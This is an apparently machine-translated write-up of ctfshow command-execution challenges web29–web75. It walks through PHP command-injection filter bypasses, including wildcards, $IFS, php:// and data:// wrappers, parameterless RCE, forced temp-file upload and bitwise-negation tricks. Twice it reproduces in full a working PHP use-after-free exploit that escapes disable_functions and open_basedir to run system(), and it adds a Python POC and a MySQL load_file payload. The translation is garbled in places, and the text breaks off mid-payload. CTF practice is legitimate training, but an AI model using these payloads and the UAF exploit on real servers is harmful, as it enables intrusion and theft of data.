Ctfshow command execution web29
pregmatch
Is a regular matching function, matching whether it contains flag, if(!preg_match("/flag/i", $c))
, /i
ignoring case
You can use system to indirectly execute system commands
The flag is f*
bypassed, or mv fl?g.php 1.txt
the file name is modified, orcat 反引号ls反引号
linux wildcard: https://www.cnblogs.com/ysuwangqiang/p/11364173.html
Ctfshow command executes web30
More filtering for system and php
Use *
bypass andpassthru
Ctfshow command executes web31
filterflag
system
php
cat
sort
shell
.
空格
'
If spaces are filtered, you can use %09
substitution; you can also use {$IFS}
or$IFS$1
The parameters are passed as follows:
?c=passthru("tac%09fla*");
Ctfshow command executes web32
filterflag
system
php
cat
sort
shell
.
空格
'
反引号
echo
The previous methods are no longer useful. It doesn't matter, file inclusion will take care of it.
https://www.cnblogs.com/endust/p/11804767.html
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Ctfshow command executes web33
I added (
the and "
filtering, it's okay, the file inclusion can still be used.
Payload:
?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>
Additionally, log inclusion is possible here.
Ctfshow command executes web34
:
Okay, it's been filtered now . It's okay, the file can still be used.
Payload:
?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>
Ctfshow command executes web35
<
and =
are also filtered, it doesn't matter, the file contains and can still be used
Payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
Ctfshow command executes web36
After adding filtering for sum /
and 数字0-9
file, the file still contains the same payload.
Ctfshow command executes web37
Good guy, you just gave me the file and included it, right?
Payload: (Using base64 encoding to bypass filtering)
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
//(<?php system("tac flag.php");?>)
Ctfshow command executes web38
Payload remains unchanged.
Ctfshow command executes web39
Although the suffix is imposed, it does not affect it. Because ?>
the PHP statement has been closed.
?c=data://text/plain,<?php system("tac fla*.php");?>
Ctfshow command executes web40
A lot of things are filtered. Only spaces, semicolons, and English brackets can still be used.
I took a look at wp (https://blog.csdn.net/Kracxi/article/details/121041140) and found that there was nothing I could do. This question does not involve RCE.
Two payloads.
?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
The following are the practical functions of parameterless RCE that I learned and compiled during the problem-solving process. (Partly based on Master Fu Jinyuan’s web mind map)
In addition to parameterless RCE, there is another way to use sessions.
payload:
?c=session_start();system(session_id());
session_id (PHPSESSID) is the command to be executed.
But this method has a drawback. The command cannot have spaces, because cookies do not parse spaces.
Ctfshow command executes web41
The principle of non-alphanumeric rce: use various non-numeric characters to construct a single alphabetical character through various transformations (XOR, negation, auto-increment), and then splice the single characters into a function name, such as system , and then it can be executed dynamically. So the core here is to replace non-alphabetic characters with alphabetic characters. (https://www.cnblogs.com/pursue-security/p/15404150.html)
Code audit, no filtering or (|). Run a script (I am the script boy)
View the catalog.
Ctfshow command executes web42
Let’s look at the source code first, a new thing>/dev/null 2>&1
meaning:
1>/dev/null
: First, it means that the standard output is redirected to an empty device file, that is, no information is output to the terminal and no information is displayed.
>
Represents where to redirect, for example: echo “123” > /home/123.txt
1
Represents stdout standard output. The system default value is 1, so ">/dev/null" is equivalent to "1>/dev/null"
2
Represents stderr standard error
&
Indicates the same meaning, 2>&1, indicating that the output redirection of 2 is equivalent to 1
;
The way to bypass this is to add a truncate command or %0a
or or %26(&)
or after the command ||
. The specific principle is that redirection is also part of the command. For example, if and 命令1;命令2 1>/dev/null
is executed , although command 2 is redirected, command 1 is not.命令1
命令2 1>/dev/null
Ctfshow command executes web43
The delimiter is filtered; it can be replaced with other delimiters. Cat filtering can be replaced by tac, nl, or various escape characters \
, '
, "
.
Payload:
?c=tac flag.php%26
Ctfshow command executes web44
Added a pair flag
of filters, we use escape characters to bypass.
Payload:
?c=nl%20fl\ag.php||
Ctfshow command executes web45
Added 空格
the right filter and %09
replaced it with.
Payload:
?c=tac%09fla*||
Ctfshow command executes web46
2023.8.16 After half a year, obsessive-compulsive disorder forced me to finish the basics.
Added filtering for 数字
, *
, $
and spaces. Spaces can be replaced by <>
or (%09 is URL encoding, not a number). Wildcards are filtered but cannot be used, so use the escape character or .<
%09
*
?
flag
\
''
payload:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
I found a strange payload: Wildcards ?
can be used here again, which makes me full of question marks? ? ? ? ? Later I checked and found out that it was because ** <
and ?
** could not be used at the same time. The above payload was changed and it c=tac%09fla?.php||
worked.
?c=awk%09'/f/'%09fla?.php||
等价于?c=awk%09'/f/{print}'%09fla?.php||
It does work, please explain. This payload is the line flag.php
containing the string in the output file f
.
If we replace f
it ctfshow
, then only the flag will be output.
Reference article:
https://blog.csdn.net/Dark_Tk/article/details/114844529
Ctfshow command executes web47
Some more command execution functions have been filtered more
less
head
sort
tail
. But did not filter my favorites tac
, nl
and awk
.
The payload remains unchanged:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
?c=awk%09'/f/'%09fla?.php||
Ctfshow command executes web48
sed
cut
awk
strings
od
curl
Some more command execution functions and functions are filtered 反引号
. But not filtered my favorite tac
and nl
.
The payload remains unchanged:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
Ctfshow command executes web49
The extra percent signs are filtered %
, which has no effect on my payload. I use spaces to <
bypass them.
The payload remains unchanged:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
Ctfshow command executes web50
I added more filters \x09
(horizontal tabs) and \x26
(&), which had no effect on my payload.
The payload remains unchanged:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
Ctfshow command executes web51
There are more filters tac
, and there is another payload that can be used.
The payload remains unchanged:
?c=nl<fla''g.php|| //在源码里面
# Ctfshow command executes web52
<
The sum is filtered >
, but not filtered $
. Just use $IFS
or ${IFS}
bypass spaces in the payload mentioned above.
payload:
?c=nl$IFS/fla''g|| //flag在根目录
?c=nl${IFS}/fla''g||
?c=ta''c$IFS/fla''g||
?c=c''at${IFS}/fla''g||
Ctfshow command executes web53
The filtering remains unchanged, and there is no redirection this time.
payload:
?c=nl${IFS}????.???
?c=nl$IFSfla''g.php||
?c=nl${IFS}fla''g.php||
?c=ta''c$IFSfla''g.php||
?c=c''at${IFS}fla''g.php||
Ctfshow command executes web54
This time the filtering was a bit harsh.
In addition to the symbols 反引号
, \x09
, \x26
, %
, <
, >
, are also filtered and cannot be bypassed using escape characters.*
cat
flag
more
wget
less
head
sort
tail
sed
cut
tac
awk
strings
od
curl
nl
scp
rm
Use other commands to read the flag
?c=uniq${IFS}f???????
?c=grep${IFS}'tf'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有tf的文件,并打印出包含 tf 的这一行,好奇怪,这里只有tf、sh、ow、{、}能找出flag)
Use file execution commands + wildcards to bypass filtering (note that ca?${IFS}f??? is not allowed here)
/bin
this directory.
bin
is binary
the abbreviation for mainly placing some necessary executable files of the system, such as: cat, cp, chmod df, dmesg, gzip, kill, ls, mkdir, more, mount, rm, su, tar, base64, etc.
?c=/bin/ca?${IFS}f???????
Copy files
?c=mv${IFS}fl?g.php${IFS}x.txt
Ctfshow command executes web55
hint:
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067
Filtered 所有字母
and 反引号
, \x09
, \x26
, %
, <
, >
. This question examines RCE without letters.
method one:
Use file execution command + wildcard to bypass filtering
?c=/???/????64 ????.???
// 即/bin/base64 flag.php
//base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有
?c=/???/???/????2 ????.???
// 即/usr/bin/bzip2 flag.php
//把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。
Method Two:
This question is that command execution is not code execution, and operations such as XOR/splicing cannot be performed. Only if eval()
the content is controllable (code execution) can XOR/splicing and other operations be performed, because it is the PHP code that recognizes XOR/splicing and other operations, not the terminal (cmd).
[Non-alphanumeric RCE under forced file upload]
This question tests PHP's forced file upload mechanism.
PHP superglobal variables are as follows
$_GET //存放所有GET请求
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES //存放所有文件
In PHP, when files are forced to be uploaded, the files will be stored /tmp/phpxxxxxx
in temporary files.
The last six digits of this file xxxxxx
are composed of uppercase and lowercase letters and numbers, and their life cycle is only when the PHP code is running.
The regular matching in the question filters out uppercase and lowercase letters (i) and numbers.
So if we want to match, /tmp/phpxxxxxx
we can use wildcards/???/?????????
/???/?????????
The scope is too big, how do we narrow it down?
Check the ascii code table, A is preceded by @, and Z is followed by [
/???/????????[@-[]
It means the last digit is capitalized
When the last character of the temporary file is an uppercase letter, /???/????????[@-[]
the file can be matched.
In Linux, .
means executing a file, which is equivalent to source
executing the sh command.
If the uploaded file is a shell script, then . /???/????????[@-[]
(the space in burp should be written +
as or %20
), the shell script can be executed to implement RCE.
How to force file upload?
We can write a form file on vps
upload.html
<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" >
<input name="file" type="file" />
<input type="submit" type="gogogo!" />
</form>
Visit upload.html on vps
Upload a file with whoami
content txt
. Capture packets at the same time.
Change the package. It was found that it could be executed normally and the results were returned.
Get flag. (The probability of success is that the probability of the last digit being capitalized is 26/26+26+10. Just send a few more packages)
Ctfshow command executes web56
This time it 数字
was also filtered.
As in the previous question, PHP's forced file upload mechanism can still be used.
Ctfshow command executes web57
This time there was a lot more filtering. The dot number is filtered .
and the file upload mechanism cannot be forced using PHP.
preg_match("/\;|[a-z]|[0-9]|\反引号|\|\#|\'|\"|\反引号|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)
Question prompt flag in 36.php
.
Key code: system("cat ".$c.".php");
.
What we can control is that $c
according to the prompts, we only need to construct it 36
.
First fill in the prerequisite knowledge: binary inversion
The first bit in binary is the sign bit, 0 represents a positive number, 1 represents a negative number, if 0000 0001
yes +1
, 1000 0001
yes -1
. At the same time, by adding related concepts such as the complement original code, you can understand binary inversion.
Conclusion: If a is bitwise inverted, the result is -(a+1). 36
The negation is yes -37
, -37
the negation is yes 36
.
For details, please see: https://zhuanlan.zhihu.com/p/261080329
in linux
${_}
Represents the result of the last command execution
$(())
Represents doing operations, which is 0
$((~$(())))
represents ~0
(inverted 0) as-1
$((~$(()))) $((~$(()))) $((~$(())))
represent-1-1-1
$(( $((~$(())))$((~$(())))$((~$(()))) ))
It means -1-1-1
doing calculations-3
$((~$(( $((~$(())))$((~$(())))$((~$(()))) ))))
It means negating it -1-1-1
after doing the operation .-3
2
The 37 numbers in the middle $((~$(())))
are -37
, and after negating them, they are36
$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
payload:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
flag is in the source code.
Ctfshow command executes web58
This question has no filtering, but the function is starting to be disabled.
phpinfo
Generally, check the disabled functions first . But phpinfo
it is also disabled here, so you can only try one by one.
Disabled phpinfo
, system
, shell_exec
etc.
Y4ye's blog gives two ways to read file paths
c=print_r(scandir(dirname('__FILE__')));
(view the root directory: print_r(scandir('/')); )
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
The functions for reading files include:
file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
fopen()
Read file function payload:
c=echo file_get_contents('flag.php');
c=echo highlight_file('flag.php');
c=highlight_file("flag.php");
c=show_source('flag.php');
c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
echo $b;
}
//file()函数:把整个文件读入一个数组中
c=print_r(file('flag.php'));
c=var_dump(file('flag.php'));
c=readfile("flag.php");
//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
You can also copy and rename files:
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
The file contains the flag for direct reading:
c=include('flag.php');echo $flag;
c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php
c=include('flag.php');var_dump(get_defined_vars());
//var_dump:输出注册变量
//get_defined_vars():函数返回由所有已定义变量所组成的数组
In addition, you can also use parameterless RCE, log inclusion and other methods, which will not be listed one by one.
Ctfshow command executes web59
The source code is the same, but a few more functions are disabled, and the method is the same as web58.
Ctfshow command executes web60
The source code is the same, but a few more functions are disabled, and the method is the same as web58.
Ctfshow command executes web61
The source code is the same, but a few more functions are disabled, and the method is the same as web58.
Ctfshow command executes web62
The source code is the same, but a few more functions are disabled, and the method is the same as web58.
Ctfshow command executes web63
The source code is the same, but a few more functions are disabled, and the method is the same as web58.
Ctfshow command executes web64
The source code is the same, but a few more functions are disabled, and the method is the same as web58.
Ctfshow command executes web65
The source code is the same, but a few more functions are disabled, and the method is the same as web58.
Ctfshow command executes web66
Compared with web58, the source code is the same, but the previous payload cannot be used. After careful inspection, the flag file path has changed.
Recall that Y4’s blog provides two ways to read file paths
c=print_r(scandir(dirname('__FILE__')));
(view the root directory: print_r(scandir('/')); )
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
Let’s take a look at the current directory first:
c=print_r(scandir(dirname('__FILE__')));
There is indeed no flag.
Look at the root directory again:
c=print_r(scandir('/'));
If you find that the flag is in the root directory file, just replace flag.txt
it with the one in the previous payload .flag.php
/flag.txt
Ctfshow command executes web67
The source code is still the same. Compared with wen66, the functions are filtered print_r()
and we var_dump()
replace them with functions. The flag is still in the root directory flag.txt
file.
Take a look at the root directory:
c=var_dump(scandir('/'));
Others are the same as web66 and web58.
Ctfshow command executes web68
The function was banned again highlight_file()
, causing us to not see the source code. But the source code is still the same.
We still have many ways. Same as web67.
Ctfshow command executes web69
[External link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-Wt49l3pr-1692463133485)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img /202308191458554.png)]
From web58 to here, the codes displayed in files, such as show_source
, , highlight_file
, file_get_contents
etc., have basically been banned, but file inclusion has always remained standing. It is still the sentence at the beginning of this article, it doesn’t matter, file inclusion will take action .
After learning this, I found that from the beginning, I felt that the knowledge points in the web section were isolated islands, but now some of the knowledge can be integrated together, which can be regarded as some growth.
This question var_dump()
bans the function and can be var_export()
replaced with a function.
Additionally, scandir()
it can be used if filtered glob()
. usagevar_dump(glob('/*'));
Take a look at the root directory:
c=var_export(scandir('/'));
Command execution takes the flag.
c=include('/flag.txt');var_export(get_defined_vars());
[External link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-5YMZpf6Q-1692463133486)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img /202308191503405.png)]
Ctfshow command executes web70
The method is the same as web69.
Ctfshow command execution web71
The source code is provided in the attachment of this question. The source code is as follows:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
ob_get_contents()
: Get the contents (data) of the buffer.
ob_end_clean()
: Will clear the contents of the buffer and close the buffer, but will not output the contents.
preg_replace("/[0-9]|[a-z]/i","?",$s)
: Replace the contents of variables storing buffer contents $s
with question marks. Using the previous payload, I found a lot of question marks in the output, which is because of this sentence.
Method 1: (This method is currently the only one available online, on Yahoo!)
Since eval()
functions give us the power to execute arbitrary code, we imitate the source code and repay the other person in his own way.
payload:
c=include("/flag.txt");$ss=ob_get_contents();ob_end_clean();echo $ss;
Method Two:
You can also use exit()/die() to end the code early so that the characters are not replaced with question marks
playload:
c=include('/flag.txt');var_export(get_defined_vars());exit();
或者
c=include('/flag.txt');var_export(get_defined_vars());die();
Method three:
In fact, the principles of method one and method three are the same, both of which are manual output buffers. However, the characters output by this method are not recognizable to the naked eye. . .
c=include("/flag.txt");echo ~ob_get_contents();
Automation POC:
import requests
url = "http://64fe58eb-5766-484d-b8db-bd1f4b3ab1c2.chall.ctf.show/"
d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content
for i in s:
print(chr(~i&0xff), end='')
# 脚本来自群里阿狸师傅
Ctfshow command executes web72
The source code remains unchanged.
The flag position of this question has changed again. Just like her, so fickle.
Read the directory.
c=var_export(scandir('/'));exit();
I found that I couldn't read it because there were open_basedir
configuration item restrictions and the directory was restricted /var/www/html/
.
open_basedir
The configuration item also appears in Ez_include of NepNepCTF-2023.
We can take advantage of glob伪协议
not glob伪协议
being restricted when filtering directories open_basedir
. This is the second method of viewing the directory given by Master Y4 in web58.
Check the root directory and find that the flag is in flag0.txt
the file.
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
After knowing the location of the flag file, the next step is how to bypass open_basedir
the restrictions and read the file. Here the masters have given a script:
<?php
pwn("命令");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) {
# PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) {
$leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
# PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
# PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
# ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
# system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) {
};
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
The function in the script str_repeat()
is filtered, we use sprintf()
function replacement.
The payload needs to be as needed 闭合源码
, 修改命令
, URL编码
(it is not encoded in this wp).
c=?><?php
pwn("tac /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) {
# PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) {
$leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
# PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
# PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
# ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
# system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) {
};
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
Ctfshow command executes web73
open_basedir
The source code is the same, but this question has one less configuration item restriction than web72 .
Read the root directory, the flag is in flagc.txt
the file
c=var_export(scandir('/'));exit();
[External link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-1Qz5EPBx-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img /202308191925376.png)]
But here include
the flag is read.
c=include('/flagc.txt');var_export(get_defined_vars());die();
[External link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-JTBiPu5h-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img /202308191929591.png)]
Ctfshow command executes web74
The source code is the same.
scandir()
Function disabled .
[External link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-jGwN9I1j-1692463133488)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img /202308191933891.png)]
Read root directory: (flag is in flagx.txt
file)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
或者
c=var_export(glob('/*'));die();
The rest is the same as web73.
c=include('/flagx.txt');var_export(get_defined_vars());die();
Ctfshow command executes web75
It looks the same as before.
This question adds open_basedir
restrictions.
Read root directory: (flag is in flag36.txt
file)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
Attempting to read the flag using web72's script failed.
The solution of the official hint is:
use mysql
the load_file
read file to bypass open_basedir
the restriction. (Only restricts PHP’s access directory, not MYSQL’s business)
The database name, account password can be obtained through previous questions (those with less filtering). Therefore, the condition of this method is that you must have a database name, account password
The PHP Data Objects (PDO) extension defines a lightweight, consistent interface for PHP to access databases.
PDO provides a data access abstraction layer, which means that no matter which database is used, the same functions (methods) can be used to query and obtain data.
PDO is released with PHP5.1, and the application condition is PHP>5.1
payload:
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
